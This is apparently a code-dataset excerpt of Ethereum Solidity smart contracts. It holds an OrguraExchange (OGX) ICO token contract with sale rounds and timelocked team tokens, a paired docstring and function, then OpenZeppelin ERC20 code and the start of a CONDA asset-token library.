function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a given release time
*/
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > uint64(block.timestamp));
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
require(uint64(block.timestamp) >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract OrguraExchange is StandardToken, Owned {
string public constant name = "Orgura Exchange";
string public constant symbol = "OGX";
uint8 public constant decimals = 18;
/// Maximum tokens to be allocated.
uint256 public constant HARD_CAP = 800000000 * 10**uint256(decimals); /* Initial supply is 800,000,000 OGX */
/// Maximum tokens to be allocated on the sale (50% of the hard cap)
uint256 public constant TOKENS_SALE_HARD_CAP = 400000000 * 10**uint256(decimals);
/// Base exchange rate is set to 1 ETH = 7,169 OGX.
uint256 public constant BASE_RATE = 7169;
/// seconds since 01.01.1970 to 19.04.2018 (0:00:00 o'clock UTC)
/// HOT sale start time
uint64 private constant dateSeedSale = 1523145600 + 0 hours; // 8 April 2018 00:00:00 o'clock UTC
/// Seed sale end time; Sale PreSale start time 20.04.2018
uint64 private constant datePreSale = 1524182400 + 0 hours; // 20 April 2018 0:00:00 o'clock UTC
/// Sale PreSale end time; Sale Round 1 start time 1.05.2018
uint64 private constant dateSaleR1 = 1525132800 + 0 hours; // 1 May 2018 0:00:00 o'clock UTC
/// Sale Round 1 end time; Sale Round 2 start time 15.05.2018
uint64 private constant dateSaleR2 = 1526342400 + 0 hours; // 15 May 2018 0:00:00 o'clock UTC
/// Sale Round 2 end time; Sale Round 3 start time 31.05.2018
uint64 private constant dateSaleR3 = 1527724800 + 0 hours; // 31 May 2018 0:00:00 o'clock UTC
/// Sale Round 3 end time; 14.06.2018 0:00:00 o'clock UTC
uint64 private constant date14June2018 = 1528934400 + 0 hours;
/// Token trading opening time (14.07.2018)
uint64 private constant date14July2018 = 1531526400;
/// token caps for each round
uint256[5] private roundCaps = [
50000000* 10**uint256(decimals), // Sale Seed 50M
50000000* 10**uint256(decimals), // Sale Presale 50M
100000000* 10**uint256(decimals), // Sale Round 1 100M
100000000* 10**uint256(decimals), // Sale Round 2 100M
100000000* 10**uint256(decimals) // Sale Round 3 100M
];
uint8[5] private roundDiscountPercentages = [90, 75, 50, 30, 15];
/// Date Locked until
uint64[4] private dateTokensLockedTills = [
1536883200, // locked until this date (14 Sep 2018) 00:00:00 o'clock UTC
1544745600, // locked until this date (14 Dec 2018) 00:00:00 o'clock UTC
1557792000, // locked until this date (14 May 2019) 00:00:00 o'clock UTC
1581638400 // locked until this date (14 Feb 2020) 00:00:00 o'clock UTC
];
//Locked Unil percentages
uint8[4] private lockedTillPercentages = [20, 20, 30, 30];
/// team tokens are locked until this date (27 APR 2019) 00:00:00
uint64 private constant dateTeamTokensLockedTill = 1556323200;
/// no tokens can be ever issued when this is set to "true"
bool public tokenSaleClosed = false;
/// contract to be called to release the Penthamon team tokens
address public timelockContractAddress;
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP
&& !tokenSaleClosed && now >= dateSeedSale);
_;
}
/// Allow the closing to happen only once
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
/// Require that the token sale has been closed
modifier tradingOpen {
//Begin ad token sale closed
//require(tokenSaleClosed);
//_;
//Begin at date trading open setting
require(uint64(block.timestamp) > date14July2018);
_;
}
function OrguraExchange() public {
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () public payable {
purchaseTokens(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address _beneficiary) public payable inProgress {
// only accept a minimum amount of ETH?
require(msg.value >= 0.01 ether);
uint256 tokens = computeTokenAmount(msg.value);
// roll back if hard cap reached
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
doIssueTokens(_beneficiary, tokens);
/// forward the raised funds to the contract creator
owner.transfer(this.balance);
}
/// @dev Batch issue tokens on the presale
/// @param _addresses addresses that the presale tokens will be sent to.
/// @param _addresses the amounts of tokens, with decimals expanded (full).
function issueTokensMulti(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
doIssueTokens(_addresses[i], _tokens[i]);
}
}
/// @dev Issue tokens for a single buyer on the presale
/// @param _beneficiary addresses that the presale tokens will be sent to.
/// @param _tokens the amount of tokens, with decimals expanded (full).
function issueTokens(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
doIssueTokens(_beneficiary, _tokens);
}
/// @dev issue tokens for a single buyer
/// @param _beneficiary addresses that the tokens will be sent to.
/// @param _tokens the amount of tokens, with decimals expanded (full).
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
// increase token total supply
totalSupply = totalSupply.add(_tokens);
// update the beneficiary balance to number of tokens sent
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
// event is fired when tokens issued
Transfer(address(0), _beneficiary, _tokens);
}
/// @dev Returns the current price.
function price() public view returns (uint256 tokens) {
return computeTokenAmount(1 ether);
}
/// @dev Compute the amount of OGX token that can be purchased.
/// @param ethAmount Amount of Ether in WEI to purchase OGX.
/// @return Amount of LKC token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = ethAmount.mul(BASE_RATE);
uint8 roundNum = currentRoundIndex();
tokens = tokenBase.mul(100)/(100 - (roundDiscountPercentages[roundNum]));
while(tokens.add(totalSupply) > roundCaps[roundNum] && roundNum < 4){
roundNum++;
tokens = tokenBase.mul(100)/(100 - (roundDiscountPercentages[roundNum]));
}
}
/// @dev Determine the current sale round
/// @return integer representing the index of the current sale round
function currentRoundIndex() internal view returns (uint8 roundNum) {
roundNum = currentRoundIndexByDate();
/// round determined by conjunction of both time and total sold tokens
while(roundNum < 4 && totalSupply > roundCaps[roundNum]) {
roundNum++;
}
}
/// @dev Determine the current sale tier.
/// @return the index of the current sale tier by date.
function currentRoundIndexByDate() internal view returns (uint8 roundNum) {
require(now <= date14June2018);
if(now > dateSaleR3) return 4;
if(now > dateSaleR2) return 3;
if(now > dateSaleR1) return 2;
if(now > datePreSale) return 1;
else return 0;
}
/// @dev Closes the sale, issues the team tokens and burns the unsold
function close() public onlyOwner beforeEnd {
/// Company team advisor and group tokens are equal to 37.5%
uint256 amount_lockedTokens = 300000000; // No decimals
uint256 lockedTokens = amount_lockedTokens* 10**uint256(decimals); // 300M Reserve for Founder and team are added to the locked tokens
//resevred tokens are available from the beginning 25%
uint256 reservedTokens = 100000000* 10**uint256(decimals); // 100M Reserve for parner
//Sum tokens of locked and Reserved tokens
uint256 sumlockedAndReservedTokens = lockedTokens + reservedTokens;
//Init fegment
uint256 fagmentSale = 0* 10**uint256(decimals); // 0 fegment Sale
/// check for rounding errors when cap is reached
if(totalSupply.add(sumlockedAndReservedTokens) > HARD_CAP) {
sumlockedAndReservedTokens = HARD_CAP.sub(totalSupply);
}
//issueLockedTokens(lockedTokens);
//-----------------------------------------------
// Locked until Loop calculat
uint256 _total_lockedTokens =0;
for (uint256 i = 0; i < lockedTillPercentages.length; i = i.add(1))
{
_total_lockedTokens =0;
_total_lockedTokens = amount_lockedTokens.mul(lockedTillPercentages[i])* 10**uint256(decimals)/100;
//Locked add % of Token amount locked
issueLockedTokensCustom( _total_lockedTokens, dateTokensLockedTills[i] );
}
//---------------------------------------------------
issueReservedTokens(reservedTokens);
/// increase token total supply
totalSupply = totalSupply.add(sumlockedAndReservedTokens);
/// burn the unallocated tokens - no more tokens can be issued after this line
tokenSaleClosed = true;
/// forward the raised funds to the contract creator
owner.transfer(this.balance);
}
/**
* issue the tokens for the team and the foodout group.
* tokens are locked for 1 years.
* @param lockedTokens the amount of tokens to the issued and locked
* */
function issueLockedTokens( uint lockedTokens) internal{
/// team tokens are locked until this date (01.01.2019)
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
/// fire event when tokens issued
Transfer(address(0), timelockContractAddress, lockedTokens);
}
function issueLockedTokensCustom( uint lockedTokens , uint64 _dateTokensLockedTill) internal{
/// team tokens are locked until this date (01.01.2019)
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, _dateTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
/// fire event when tokens issued
Transfer(address(0), timelockContractAddress, lockedTokens);
}
/**
* issue the tokens for Reserved
* @param reservedTokens & bounty Tokens the amount of tokens to be issued
* */
function issueReservedTokens(uint reservedTokens) internal{
balances[owner] = reservedTokens;
Transfer(address(0), owner, reservedTokens);
}
// Transfer limited by the tradingOpen modifier (time is 14 July 2018 or later)
function transferFrom(address _from, address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// Transfer limited by the tradingOpen modifier (time is 14 July 2018 or later)
function transfer(address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transfer(_to, _value);
}
}
|
Returns the current price.
|
function price() public view returns (uint256 tokens) {
return computeTokenAmount(1 ether);
}
| 1,075,869 |
pragma solidity ^0.5.0;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: contracts/assettoken/library/AssetTokenL.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title AssetTokenL library. */
library AssetTokenL {
using SafeMath for uint256;
///////////////////
// Struct Parameters (passed as parameter to library)
///////////////////
struct Supply {
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes. TransfersAndMints-index when the change
// occurred is also included
mapping (address => Checkpoint[]) balances;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Minting cap max amount of tokens
uint256 cap;
// When successfully funded
uint256 goal;
//crowdsale start
uint256 startTime;
//crowdsale end
uint256 endTime;
//crowdsale dividends
Dividend[] dividends;
//counter per address how much was claimed in continuous way
//note: counter also increases when recycled and tried to claim in continous way
mapping (address => uint256) dividendsClaimed;
uint256 tokenActionIndex; //only modify within library
}
struct Availability {
// Flag that determines if the token is yet alive.
// Meta data cannot be changed anymore (except capitalControl)
bool tokenAlive;
// Flag that determines if the token is transferable or not.
bool transfersEnabled;
// Flag that minting is finished
bool mintingPhaseFinished;
// Flag that minting is paused
bool mintingPaused;
}
struct Roles {
// role that can pause/resume
address pauseControl;
// role that can rescue accidentally sent tokens
address tokenRescueControl;
// role that can mint during crowdsale (usually controller)
address mintControl;
}
///////////////////
// Structs (saved to blockchain)
///////////////////
/// @dev `Dividend` is the structure that saves the status of a dividend distribution
struct Dividend {
uint256 currentTokenActionIndex;
uint256 timestamp;
DividendType dividendType;
address dividendToken;
uint256 amount;
uint256 claimedAmount;
uint256 totalSupply;
bool recycled;
mapping (address => bool) claimed;
}
/// @dev Dividends can be of those types.
enum DividendType { Ether, ERC20 }
/** @dev Checkpoint` is the structure that attaches a history index to a given value
* @notice That uint128 is used instead of uint/uint256. That's to save space. Should be big enough (feedback from audit)
*/
struct Checkpoint {
// `currentTokenActionIndex` is the index when the value was generated. It's uint128 to save storage space
uint128 currentTokenActionIndex;
// `value` is the amount of tokens at a specific index. It's uint128 to save storage space
uint128 value;
}
///////////////////
// Functions
///////////////////
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract. Check for availability must be done before.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(Supply storage _self, Availability storage /*_availability*/, address _from, address _to, uint256 _amount) public {
// Do not allow transfer to 0x0 or the token contract itself
require(_to != address(0), "addr0");
require(_to != address(this), "target self");
// If the amount being transfered is more than the balance of the
// account the transfer throws
uint256 previousBalanceFrom = balanceOfNow(_self, _from);
require(previousBalanceFrom >= _amount, "not enough");
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(_self, _self.balances[_from], previousBalanceFrom.sub(_amount));
// Then update the balance array with the new value for the address
// receiving the tokens
uint256 previousBalanceTo = balanceOfNow(_self, _to);
updateValueAtNow(_self, _self.balances[_to], previousBalanceTo.add(_amount));
//info: don't move this line inside updateValueAtNow (because transfer is 2 actions)
increaseTokenActionIndex(_self);
// An event to make the transfer easy to find on the blockchain
emit Transfer(_from, _to, _amount);
}
function increaseTokenActionIndex(Supply storage _self) private {
_self.tokenActionIndex = _self.tokenActionIndex.add(1);
emit TokenActionIndexIncreased(_self.tokenActionIndex, block.number);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` of his tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(Supply storage _self, address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (_self.allowed[msg.sender][_spender] == 0), "amount");
_self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/// @notice Increase the amount of tokens that an owner allowed to a spender.
/// @dev approve should be called when allowed[_spender] == 0. To increment
/// allowed value is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
/// From MonolithDAO Token.sol
/// @param _spender The address which will spend the funds.
/// @param _addedValue The amount of tokens to increase the allowance by.
/// @return True if the approval was successful
function increaseApproval(Supply storage _self, address _spender, uint256 _addedValue) public returns (bool) {
_self.allowed[msg.sender][_spender] = _self.allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, _self.allowed[msg.sender][_spender]);
return true;
}
/// @notice Decrease the amount of tokens that an owner allowed to a spender.
/// @dev approve should be called when allowed[_spender] == 0. To decrement
/// allowed value is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
/// From MonolithDAO Token.sol
/// @param _spender The address which will spend the funds.
/// @param _subtractedValue The amount of tokens to decrease the allowance by.
/// @return True if the approval was successful
function decreaseApproval(Supply storage _self, address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = _self.allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
_self.allowed[msg.sender][_spender] = 0;
} else {
_self.allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, _self.allowed[msg.sender][_spender]);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` if it is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(Supply storage _supply, Availability storage _availability, address _from, address _to, uint256 _amount)
public
returns (bool success)
{
// The standard ERC 20 transferFrom functionality
require(_supply.allowed[_from][msg.sender] >= _amount, "allowance");
_supply.allowed[_from][msg.sender] = _supply.allowed[_from][msg.sender].sub(_amount);
doTransfer(_supply, _availability, _from, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` WITHOUT approval. UseCase: notar transfers from lost wallet
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @param _fullAmountRequired Full amount required (causes revert if not).
/// @return True if the transfer was successful
function enforcedTransferFrom(
Supply storage _self,
Availability storage _availability,
address _from,
address _to,
uint256 _amount,
bool _fullAmountRequired)
public
returns (bool success)
{
if(_fullAmountRequired && _amount != balanceOfNow(_self, _from))
{
revert("Only full amount in case of lost wallet is allowed");
}
doTransfer(_self, _availability, _from, _to, _amount);
emit SelfApprovedTransfer(msg.sender, _from, _to, _amount);
return true;
}
////////////////
// Miniting
////////////////
/// @notice Function to mint tokens
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(Supply storage _self, address _to, uint256 _amount) public returns (bool) {
uint256 curTotalSupply = totalSupplyNow(_self);
uint256 previousBalanceTo = balanceOfNow(_self, _to);
// Check cap
require(curTotalSupply.add(_amount) <= _self.cap, "cap"); //leave inside library to never go over cap
// Check timeframe
require(_self.startTime <= now, "too soon");
require(_self.endTime >= now, "too late");
updateValueAtNow(_self, _self.totalSupplyHistory, curTotalSupply.add(_amount));
updateValueAtNow(_self, _self.balances[_to], previousBalanceTo.add(_amount));
//info: don't move this line inside updateValueAtNow (because transfer is 2 actions)
increaseTokenActionIndex(_self);
emit MintDetailed(msg.sender, _to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at `_specificTransfersAndMintsIndex`
/// @param _owner The address from which the balance will be retrieved
/// @param _specificTransfersAndMintsIndex The balance at index
/// @return The balance at `_specificTransfersAndMintsIndex`
function balanceOfAt(Supply storage _self, address _owner, uint256 _specificTransfersAndMintsIndex) public view returns (uint256) {
return getValueAt(_self.balances[_owner], _specificTransfersAndMintsIndex);
}
function balanceOfNow(Supply storage _self, address _owner) public view returns (uint256) {
return getValueAt(_self.balances[_owner], _self.tokenActionIndex);
}
/// @dev Total amount of tokens at `_specificTransfersAndMintsIndex`.
/// @param _specificTransfersAndMintsIndex The totalSupply at index
/// @return The total amount of tokens at `_specificTransfersAndMintsIndex`
